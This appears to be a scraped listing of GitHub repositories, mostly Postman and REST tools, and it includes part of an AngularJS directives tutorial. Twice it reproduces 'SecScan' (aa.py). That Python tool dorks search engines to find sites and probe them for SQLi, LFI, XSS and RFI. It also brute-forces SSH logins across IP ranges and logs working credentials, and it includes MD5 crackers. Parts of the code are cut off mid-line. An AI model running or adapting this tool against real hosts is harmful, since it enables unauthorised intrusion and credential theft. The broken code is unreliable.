cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. | 0 stars | 0 watchers | 14 forks |
|
udinparla/aa.py address, admin, api blueprint, asyncapi, automat, automatic, automatically, class, correct, crawler, creation, data, file, find, free, google, header, host, html, http, import, json schema, link, list, location, mail, oauth, openid, output, pages, print, python, random, reading, result, route, router, running, search, seek, send, sends, site, source, sql, task, test, user |
#!/usr/bin/env python import re import hashlib import Queue from random import choice import threading import time import urllib2 import sys import socket try: import paramiko PARAMIKO_IMPORTED = True except ImportError: PARAMIKO_IMPORTED = False USER_AGENT = ["Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3", "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)", "Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/535.38.6 (KHTML, like Gecko) Version/5.1 Safari/535.38.6", "Mozilla/5.0 (Macintosh; U; U; PPC Mac OS X 10_6_7 rv:6.0; en-US) AppleWebKit/532.23.3 (KHTML, like Gecko) Version/4.0.2 Safari/532.23.3" ] option = ' ' vuln = 0 invuln = 0 np = 0 found = [] class Router(threading.Thread): """Checks for routers running ssh with given User/Pass""" def __init__(self, queue, user, passw): if not PARAMIKO_IMPORTED: print 'You need paramiko.' print 'http://www.lag.net/paramiko/' sys.exit(1) threading.Thread.__init__(self) self.queue = queue self.user = user self.passw = passw def run(self): """Tries to connect to given Ip on port 22""" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) while True: try: ip_add = self.queue.get(False) except Queue.Empty: break try: ssh.connect(ip_add, username = self.user, password = self.passw, timeout = 10) ssh.close() print "Working: %s:22 - %s:%s\n" % (ip_add, self.user, self.passw) write = open('Routers.txt', "a+") write.write('%s:22 %s:%s\n' % (ip_add, self.user, self.passw)) write.close() self.queue.task_done() except: print 'Not Working: %s:22 - %s:%s\n' % (ip_add, self.user, self.passw) self.queue.task_done() class Ip: """Handles the Ip range creation""" def __init__(self): self.ip_range = [] self.start_ip = raw_input('Start ip: ') self.end_ip = raw_input('End ip: ') self.user = raw_input('User: ') self.passw = raw_input('Password: ') self.iprange() def iprange(self): """Creates list of Ip's from Start_Ip to End_Ip""" queue = Queue.Queue() start = list(map(int, self.start_ip.split("."))) end = list(map(int, self.end_ip.split("."))) tmp = start self.ip_range.append(self.start_ip) while tmp != end: start[3] += 1 for i in (3, 2, 1): if tmp[i] == 256: tmp[i] = 0 tmp[i-1] += 1 self.ip_range.append(".".join(map(str, tmp))) for add in self.ip_range: queue.put(add) for i in range(10): thread = Router(queue, self.user, self.passw ) thread.setDaemon(True) thread.start() queue.join() class Crawl: """Searches for dorks and grabs results""" def __init__(self): if option == '4': self.shell = str(raw_input('Shell location: ')) self.dork = raw_input('Enter your dork: ') self.queue = Queue.Queue() self.pages = raw_input('How many pages(Max 20): ') self.qdork = urllib2.quote(self.dork) self.page = 1 self.crawler() def crawler(self): """Crawls Ask.com for sites and sends them to appropriate scan""" print '\nDorking...' for i in range(int(self.pages)): host = "http://uk.ask.com/web?q=%s&page=%s" % (str(self.qdork), self.page) req = urllib2.Request(host) req.add_header('User-Agent', choice(USER_AGENT)) response = urllib2.urlopen(req) source = response.read() start = 0 count = 1 end = len(source) numlinks = source.count('_t" href', start, end) while count alert('xssBYm0le');""" self.file = 'xss.txt' def run(self): """Checks Url for possible Xss""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np xsite = site.rsplit('=', 1)[0] if xsite[-1] != "=": xsite = xsite + "=" test = xsite + self.xchar try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("xssBYm0le", data, re.I)): self.xss(test) vuln += 1 else: print B+test + W+' > ' + str(vuln) + G+' Vulnerable Sites Found' + W print '>> ' + str(invuln) + G+' Sites Not Vulnerable' + W print '>> ' + str(np) + R+' Sites Without Parameters' + W if option == '1': print '>> Output Saved To sqli.txt\n' elif option == '2': print '>> Output Saved To lfi.txt' elif option == '3': print '>> Output Saved To xss.txt' elif option == '4': print '>> Output Saved To rfi.txt' W = "\033[0m"; R = "\033[31m"; G = "\033[32m"; O = "\033[33m"; B = "\033[34m"; def main(): """Outputs Menu and gets input""" quotes = [ '\[email protected]\n' ] print (O+''' ------------- -- SecScan -- --- v1.5 ---- ---- by ----- --- m0le ---- -------------''') print (G+''' -[1]- SQLi -[2]- LFI -[3]- XSS -[4]- RFI -[5]- Proxy -[6]- Admin Page Finder -[7]- Sub Domain Scan -[8]- Dictionary MD5 cracker -[9]- Online MD5 cracker -[10]- Check your IP address''') print (B+''' -[!]- If freeze while running or want to quit, just Ctrl C, it will automatically terminate the job. ''') print W global option option = raw_input('Enter Option: ') if option: if option == '1': Crawl() output() print choice(quotes) elif option == '2': Crawl() output() print choice(quotes) elif option == '3': Crawl() output() print choice(quotes) elif option == '4': Crawl() output() print choice(quotes) elif option == '5': Ip() print choice(quotes) elif option == '6': admin() aprint() print choice(quotes) elif option == '7': subd() print choice(quotes) elif option == '8': word() print choice(quotes) elif option == '9': OnlineCrack().crack() print choice(quotes) elif option == '10': Check().grab() print choice(quotes) else: print R+'\nInvalid Choice\n' + W time.sleep(0.9) main() else: print R+'\nYou Must Enter An Option (Check if your typo is corrected.)\n' + W time.sleep(0.9) main() if __name__ == '__main__': main() | 4 stars | 4 watchers | 0 forks |
|
soumyadip007/Customer-Relationship-Management-Real-time-CURD-Application-using-Spring-Rest-Json-HQL-WebServices application, import, rest, restful, service, services, spring |
CRUD (Create, Read, Update and Delete) application is the most important application for creating any project. In spring Rest, we have developed this using Jackson,Postman and restful web services. | 3 stars | 3 watchers | 1 forks |
|
WebDevInfrastructure/MailingLists development, general, import, interface, list, lists, maintained, single, standard, struct, structure, updating |
Mailing lists are an important part of the infrastructure of development of Web standards - generally PostMan is the standard, but it is maintained by a single individual and the interface/features could use some updating. | 3 stars | 3 watchers | 1 forks |
|
xyyxhcj/vpi data, import, json, reference, struct, structure, test |
接口管理系统（支持JSON导入，引用数据结构，接口测试） api management with json import, reference data structure, test | 0 stars | 0 watchers | 6 forks |
|
smallcampus/postmgn collection, collections, environment, environments, export, import, postman collection, postman collections, tool |
A tool that helps import and export postman collections + environments | 2 stars | 2 watchers | 0 forks |
|
Mir00r/busticketing access, action, actor, admin, api blueprint, application, applications, asyncapi, auth, authentication, boot, browser, case, cases, compare, compose, consisting, container, default, define, design, development, devices, docker, engine, file, find, following, form, frontend, function, functional, host, import, inside, install, interface, json schema, library, link, local, material, mobile, mysql, oauth, openid, operate, popular, predefined, profile, prototype, render, reservation, responsive, result, schedule, search, security, series, server, sessions, sql, system, systems, template, templates, ticket, token, type, user, users, web app |
Bus Reservation System_ and tried to implement an Admin portal which can be operated over browsers and a series of REST APIs to interact with the system using mobile applications or frontend applications written for the browsers. The complete systems has two important actors : 1. Admin user 2. End user The _Admin user_ can access this application on browser (laptop or mobile/tablet, doesn't really matter as this is built using bootstrap, material design and is completely responsive) and can perform the following actions : 1. Signup 2. Login (Spring sessions) 3. Update their profile 4. Create an agency 5. Add buses to the agency 6. Add trips consisting of predefined stops and buses The _End user_ can use their mobile application (yet to be built, however the REST APIs are ready and could be used via Postman or Swagger) to perform the following actions : 1. Signup 2. Login (and get a JWT token) 3. List all available stops 4. Search a trip between any two stops 5. Filter search results with a date option 6. Book a ticket for a given trip schedule Admin interface and REST APIs both have their independent authentication mechanisms, the web application uses the cookie based authentication (provided by default by Spring security) and the REST API uses the JWT authentication for access. This application assumes the availability of 'MongoDB' installation on the localhost where the server will run or the use of docker-compose to boot up a mysqldb container and link the application with it within the realm of docker. Any changes that the admin users will do on the web portal will impact the search results of the end users, there will be certain use cases which you may find missing here, I hope you will appreciate that the overall idea was to present a way to create such an application completely inside the realm of Spring Boot and not to actually building a fully functional reservation system. The admin user interface is completely written in material design using Bootstrap v4 and is responsive to suite a variety of devices. The template engine used to render the admin views is Thymeleaf since the library is extremely extensible and its natural templating capability ensures templates can be prototyped without a back-end – which makes development very fast when compared with other popular template engines such as JSP. | 1 stars | 1 watchers | 2 forks |
|
AnilDeshpande/todolistpostmancollection collection, file, files, import, imported, json, list, service, services, test, todo |
Just contains POSTMAN collection json files which can be imported by the people who want to use this to test the web services | 0 stars | 0 watchers | 3 forks |
|
OliverRC/Postman-WebApi-HelpDocumentation developer, developers, endpoint, endpoints, import, imported |
Allows developers expose their MVC WebAPI endpoints so that they can be imported into postman | 0 stars | 0 watchers | 3 forks |
|
GreaterMKEMeetup/spring-restdocs-postman collection, collections, docs, extension, import, importable, portable, rest, spring |
A Spring REST Docs extension that produces importable Postman collections. | 0 stars | 0 watchers | 2 forks |
|
gregambrose/ApiToPostman collection, collections, import, imported |
Takes HTTP requests and makes them into collections that can be imported into POSTMAN | 1 stars | 1 watchers | 0 forks |
|
teddychan/postman-collections collection, collections, engine, import, list, test |
The list of Postman Collections, easier for engineer to import and test API. | 1 stars | 1 watchers | 0 forks |
|
buckle/restdocs-tool-export docs, download, export, exports, import, imported, rest, snippet, snippets, tool |
Generates AsciiDoc snippets via Spring Restdocs that are exports for Insomnia or Postman that can be download and imported. | 1 stars | 1 watchers | 0 forks |
|
MayMP/NodeJsExpressMongoDB center, collection, command, config, configuration, data, database, directory, download, example, folder, host, http, https, import, install, installed, json, local, mongo, mongod, mongodb, named, node, nodejs, posts, unit |
This is a very basic example of (`List All Data`, `Detail By Each Id`, `Create`, `Update`, `Delete`) in Node.js and MongoDB. Running Locally Make sure you have Node.js(`https://nodejs.org/en/`) and the MongoDB for 32-bit(`https://www.mongodb.org/dl/win32/i386`) and for others (`https://www.mongodb.com/download-center/community`) installed. You're gonna need to create a DB named `InterviewDB` and import from the `MongoDB(For Interview)` folder. And please create collection name `posts`. You can adjust the database configuration in `app/config/config.json`. You can run " node app.js " from the project directory in command prompt. You can call url(`localhost:8080`) from your `Postman` or `Restful`. | 1 stars | 1 watchers | 0 forks |
|
nuxeo-sandbox/nuxeo-swagger convert, description, form, format, import, importable, nuxeo, portable, sandbox, script, swagger, tool, tools, type, types |
Tools to convert the Nuxeo Swagger 1.2 descriptions to an importable format for Postman and other types of tools. | 1 stars | 1 watchers | 0 forks |
|
stereg/inspector2postman convert, converting, file, import, imported, output, spec, taking |
Script for taking ACI inspector output and converting it into a Google Postman Collection file that can be imported | 1 stars | 1 watchers | 0 forks |
|
ivastly/php2curl command, convert, curl, data, export, import, imported, tool |
tiny lib to convert data from PHP request to CURL command. Then, CURL command can be imported into Postman with 1 click, so it is PHP to Postman export tool. | 0 stars | 0 watchers | 1 forks |
|
luckymarmot/Paw-PostmanImporter import |
A Paw Extension to import Postman Collections. | 0 stars | 0 watchers | 1 forks |
|
brankozecevic/php_oop_rest_api api blueprint, asyncapi, blog, client, data, database, environment, function, functional, import, json schema, oauth, openid, posts, principles, rest, server, sql, test, testing |
This is a REST API using PHP and OOP principles. There is also MySQL database that you can use to import on your server (myblog.sql). This REST API is based on CRUD functionality (blog posts and blog categories). For testing use Postman app environment as a REST client. | 0 stars | 0 watchers | 0 forks |
|
brionmario/postman-collections collection, collections, import, postman collection, postman collections |
A repo to house important postman collections | 0 stars | 0 watchers | 0 forks |
|
bdrupieski/FiddlerExportToPostman export, extension, form, format, import, sessions |
A Fiddler extension to export sessions in a format Postman can import | 0 stars | 0 watchers | 0 forks |
|
cfitz1995/postman-splitter command, export, exports, import, util, utility |
Node.js command-line utility for importing/exports individual Postman requests | 0 stars | 0 watchers | 0 forks |
|
CodingReaction/PostmanRedCards action, import, package, packages, software, support, track |
A software made for additional support to Postman who needs to track important packages. | 0 stars | 0 watchers | 0 forks |
|
Gyanachand1/Blockchain action, chai, check, class, datetime, dump, endpoint, example, flask, form, function, github, host, html, http, https, import, index, install, installed, json, link, local, method, operation, previous, proof, proxy, query, send, server, server., sets, sort, user |
# Module 1 - Create a Blockchain # To be installed: # Flask==0.12.2: pip install Flask==0.12.2 # Postman HTTP Client: https://www.getpostman.com/ # Importing the libraries import datetime import hashlib import json from flask import Flask, jsonify # Part 1 - Building a Blockchain class Blockchain: def __init__(self): self.chain = [] self.create_block(proof = 1, previous_hash = '0') def create_block(self, proof, previous_hash): block = {'index': len(self.chain) + 1, 'timestamp': str(datetime.datetime.now()), 'proof': proof, 'previous_hash': previous_hash} self.chain.append(block) return block def get_previous_block(self): return self.chain[-1] def proof_of_work(self, previous_proof): new_proof = 1 check_proof = False while check_proof is False: hash_operation = hashlib.sha256(str(new_proof**2 - previous_proof**2).encode()).hexdigest() if hash_operation[:4] == '0000': check_proof = True else: new_proof += 1 return new_proof def hash(self, block): encoded_block = json.dumps(block, sort_keys = True).encode() return hashlib.sha256(encoded_block).hexdigest() def is_chain_valid(self, chain): previous_block = chain[0] block_index = 1 while block_index posiada atrybuty takie jak action oraz method. Atrybut action pozwala określić, gdzie wysłać dane z formularza w momencie, gdy zostanie on zatwierdzony. W naszym przypadku będzie to http://localhost:3000/userform. Atrybut method określa metodę, jakiej chcemy użyć - w naszym przypadku niech będzie to GET. Przykładowo, Twój index.html może wyglądać tak: Node Hello world example First Name: Last Name: Gdy już będzie gotowy, wrzuć go do katalogu /assets. Teraz czas na modyfikację pliku server.js. Najpierw zmieńmy to, co chcemy wysyłać, gdy zostanie wysłane żądanie do strony domowej. Zamień więc res.send('Hello world') na res.sendFile('/index.html') - jak się zapewne domyślasz, res.sendFile() wysyła w odpowiedzi plik zamiast wiadomości. Musimy również dodać obsługę żądania na endpoint, do którego będziemy kierować nasz formularz. app.get('/userform', function (req, res) { const response = { first_name: req.query.first_name, last_name: req.query.last_name }; res.end(JSON.stringify(response)); }); W czasie przetwarzania żądania, tworzymy nowy obiekt response, który ma klucze first_name oraz last_name. Do poszczególnych właściwości przypisujemy dane, które otrzymujemy w obiekcie req (od ang. request), czyli w obiekcie z żądaniem. Na koniec wyświetlamy nasz obiekt przetworzony na typ string za pomocą metody JSON.stringify. Po zapisaniu pliku server.js, aplikacja powinna pokazywać formularz, jak poniżej. Po wpisaniu wartości do inputów i wysłaniu ich, powinieneś zostać przekierowany do strony /userform, a po znaku zapytania powinny zostać wyświetlone parametry umieszczone przez Ciebie w inputach. Zadanie: Żonglujemy danymi pomiędzy endpointami Napisz kod obsługujący formularz zgodnie z wskazówkami z tego submodułu, a następnie wyślij swój kod na repozytorium oraz przekaż go do sprawdzenia mentorowi. Podgląd zadania https://github.com/martinproxy0/Zadanie_17_4.git Wyslij link 17.5. Middleware - pośrednik między żądaniem a odpowiedzią | 0 stars | 0 watchers | 0 forks |
|
sittinash/elasticsearch-postman elastic, elasticsearch, search |
Collection of frequently-used Elasticsearch requests. | 0 stars | 0 watchers | 27 forks |
|
BlueTechHound/elasticsearch-postman collection, elastic, elasticsearch, postman collection, search |
A postman collection for Elasticsearch | 4 stars | 4 watchers | 7 forks |
|
Azure-Samples/azure-search-postman-samples azure, description, sample, samples, script, search |
No description available. | 0 stars | 0 watchers | 13 forks |
|
udinparla/aa.py address, admin, api blueprint, asyncapi, automat, automatic, automatically, class, correct, crawler, creation, data, file, find, free, google, header, host, html, http, import, json schema, link, list, location, mail, oauth, openid, output, pages, print, python, random, reading, result, route, router, running, search, seek, send, sends, site, source, sql, task, test, user |
#!/usr/bin/env python import re import hashlib import Queue from random import choice import threading import time import urllib2 import sys import socket try: import paramiko PARAMIKO_IMPORTED = True except ImportError: PARAMIKO_IMPORTED = False USER_AGENT = ["Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3", "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)", "Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/535.38.6 (KHTML, like Gecko) Version/5.1 Safari/535.38.6", "Mozilla/5.0 (Macintosh; U; U; PPC Mac OS X 10_6_7 rv:6.0; en-US) AppleWebKit/532.23.3 (KHTML, like Gecko) Version/4.0.2 Safari/532.23.3" ] option = ' ' vuln = 0 invuln = 0 np = 0 found = [] class Router(threading.Thread): """Checks for routers running ssh with given User/Pass""" def __init__(self, queue, user, passw): if not PARAMIKO_IMPORTED: print 'You need paramiko.' print 'http://www.lag.net/paramiko/' sys.exit(1) threading.Thread.__init__(self) self.queue = queue self.user = user self.passw = passw def run(self): """Tries to connect to given Ip on port 22""" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) while True: try: ip_add = self.queue.get(False) except Queue.Empty: break try: ssh.connect(ip_add, username = self.user, password = self.passw, timeout = 10) ssh.close() print "Working: %s:22 - %s:%s\n" % (ip_add, self.user, self.passw) write = open('Routers.txt', "a+") write.write('%s:22 %s:%s\n' % (ip_add, self.user, self.passw)) write.close() self.queue.task_done() except: print 'Not Working: %s:22 - %s:%s\n' % (ip_add, self.user, self.passw) self.queue.task_done() class Ip: """Handles the Ip range creation""" def __init__(self): self.ip_range = [] self.start_ip = raw_input('Start ip: ') self.end_ip = raw_input('End ip: ') self.user = raw_input('User: ') self.passw = raw_input('Password: ') self.iprange() def iprange(self): """Creates list of Ip's from Start_Ip to End_Ip""" queue = Queue.Queue() start = list(map(int, self.start_ip.split("."))) end = list(map(int, self.end_ip.split("."))) tmp = start self.ip_range.append(self.start_ip) while tmp != end: start[3] += 1 for i in (3, 2, 1): if tmp[i] == 256: tmp[i] = 0 tmp[i-1] += 1 self.ip_range.append(".".join(map(str, tmp))) for add in self.ip_range: queue.put(add) for i in range(10): thread = Router(queue, self.user, self.passw ) thread.setDaemon(True) thread.start() queue.join() class Crawl: """Searches for dorks and grabs results""" def __init__(self): if option == '4': self.shell = str(raw_input('Shell location: ')) self.dork = raw_input('Enter your dork: ') self.queue = Queue.Queue() self.pages = raw_input('How many pages(Max 20): ') self.qdork = urllib2.quote(self.dork) self.page = 1 self.crawler() def crawler(self): """Crawls Ask.com for sites and sends them to appropriate scan""" print '\nDorking...' for i in range(int(self.pages)): host = "http://uk.ask.com/web?q=%s&page=%s" % (str(self.qdork), self.page) req = urllib2.Request(host) req.add_header('User-Agent', choice(USER_AGENT)) response = urllib2.urlopen(req) source = response.read() start = 0 count = 1 end = len(source) numlinks = source.count('_t" href', start, end) while count alert('xssBYm0le');""" self.file = 'xss.txt' def run(self): """Checks Url for possible Xss""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np xsite = site.rsplit('=', 1)[0] if xsite[-1] != "=": xsite = xsite + "=" test = xsite + self.xchar try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("xssBYm0le", data, re.I)): self.xss(test) vuln += 1 else: print B+test + W+' > ' + str(vuln) + G+' Vulnerable Sites Found' + W print '>> ' + str(invuln) + G+' Sites Not Vulnerable' + W print '>> ' + str(np) + R+' Sites Without Parameters' + W if option == '1': print '>> Output Saved To sqli.txt\n' elif option == '2': print '>> Output Saved To lfi.txt' elif option == '3': print '>> Output Saved To xss.txt' elif option == '4': print '>> Output Saved To rfi.txt' W = "\033[0m"; R = "\033[31m"; G = "\033[32m"; O = "\033[33m"; B = "\033[34m"; def main(): """Outputs Menu and gets input""" quotes = [ '\[email protected]\n' ] print (O+''' ------------- -- SecScan -- --- v1.5 ---- ---- by ----- --- m0le ---- -------------''') print (G+''' -[1]- SQLi -[2]- LFI -[3]- XSS -[4]- RFI -[5]- Proxy -[6]- Admin Page Finder -[7]- Sub Domain Scan -[8]- Dictionary MD5 cracker -[9]- Online MD5 cracker -[10]- Check your IP address''') print (B+''' -[!]- If freeze while running or want to quit, just Ctrl C, it will automatically terminate the job. ''') print W global option option = raw_input('Enter Option: ') if option: if option == '1': Crawl() output() print choice(quotes) elif option == '2': Crawl() output() print choice(quotes) elif option == '3': Crawl() output() print choice(quotes) elif option == '4': Crawl() output() print choice(quotes) elif option == '5': Ip() print choice(quotes) elif option == '6': admin() aprint() print choice(quotes) elif option == '7': subd() print choice(quotes) elif option == '8': word() print choice(quotes) elif option == '9': OnlineCrack().crack() print choice(quotes) elif option == '10': Check().grab() print choice(quotes) else: print R+'\nInvalid Choice\n' + W time.sleep(0.9) main() else: print R+'\nYou Must Enter An Option (Check if your typo is corrected.)\n' + W time.sleep(0.9) main() if __name__ == '__main__': main() | 4 stars | 4 watchers | 0 forks |
|
sjefvanleeuwen/camunda-zaken case, engine, external, node, nodejs, process, research, search |
